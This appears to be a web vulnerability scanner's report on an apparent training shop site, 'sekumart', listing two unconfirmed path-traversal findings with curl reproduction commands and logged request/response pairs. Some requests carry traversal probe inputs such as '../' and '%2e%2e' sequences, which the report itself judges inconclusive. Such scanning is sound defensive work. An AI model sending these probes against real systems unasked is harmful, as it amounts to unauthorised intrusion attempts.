<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/sekumart.sekuripy.hr/login.php query string · load unconfirmed · low confidence BV-041 info

location: GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?host=1&ip=1&cmd=1&fetch=true&load=1&refresh=true&all=true&expand=true
input: load in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

load reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

load looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?host=1&ip=1&cmd=1&fetch=true&load=1&refresh=true&all=true… bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?host=1&ip=1&cmd=1&fetch=true&load=sks53u1a2/../1&refresh=true&all=true&expand=true'

GET /sekumart.sekuripy.hr/login.php?host=1&ip=1&cmd=1&fetch=true&load=sks53u1a2/../1&refresh=true&all=true&expand=true HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?host=1&ip=1&cmd=1&fetch=true…

request

GET /sekumart.sekuripy.hr/login.php?host=1&ip=1&cmd=1&fetch=true&load=1&refresh=true&all=true&expand=true HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:08 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

baseline again, to locate per-request churn HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?host=1&ip=1&cmd=1&fetch=true…

request

GET /sekumart.sekuripy.hr/login.php?host=1&ip=1&cmd=1&fetch=true&load=1&refresh=true&all=true&expand=true HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:08 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

normalised HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?host=1&ip=1&cmd=1&fetch=true…

request

GET /sekumart.sekuripy.hr/login.php?host=1&ip=1&cmd=1&fetch=true&load=sks53u1a2/../1&refresh=true&all=true&expand=true HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:08 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

double_encoded HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?host=1&ip=1&cmd=1&fetch=true…

request

GET /sekumart.sekuripy.hr/login.php?host=1&ip=1&cmd=1&fetch=true&load=sks53u1a2/%2e%2e/1&refresh=true&all=true&expand=true HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:08 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

control HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?host=1&ip=1&cmd=1&fetch=true…

request

GET /sekumart.sekuripy.hr/login.php?host=1&ip=1&cmd=1&fetch=true&load=sks53u1a2/1&refresh=true&all=true&expand=true HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:08 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

listing HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?host=1&ip=1&cmd=1&fetch=true…

request

GET /sekumart.sekuripy.hr/login.php?host=1&ip=1&cmd=1&fetch=true&load=&refresh=true&all=true&expand=true HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:08 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/cart.php query string · page unconfirmed · low confidence BV-042 info

location: GET https://sekumart.sekuripy.hr/cart.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1
input: page in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

page reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

page looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/cart.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1 bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/cart.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=sksdpqrd9/../1&filename=1'

GET /cart.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=sksdpqrd9/../1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/cart.php?callback=1&file=1&url=1&name=1&search=1&query=1…

request

GET /cart.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:24 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/cart.php?callback=1&file=1&url=1&name=1&search=1&query=1…

request

GET /cart.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:24 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

normalised HTTP 200 https://sekumart.sekuripy.hr/cart.php?callback=1&file=1&url=1&name=1&search=1&query=1…

request

GET /cart.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=sksdpqrd9/../1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:24 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

double_encoded HTTP 200 https://sekumart.sekuripy.hr/cart.php?callback=1&file=1&url=1&name=1&search=1&query=1…

request

GET /cart.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=sksdpqrd9/%2e%2e/1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:24 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

control HTTP 200 https://sekumart.sekuripy.hr/cart.php?callback=1&file=1&url=1&name=1&search=1&query=1…

request

GET /cart.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=sksdpqrd9/1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:24 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

listing HTTP 200 https://sekumart.sekuripy.hr/cart.php?callback=1&file=1&url=1&name=1&search=1&query=1…

request

GET /cart.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
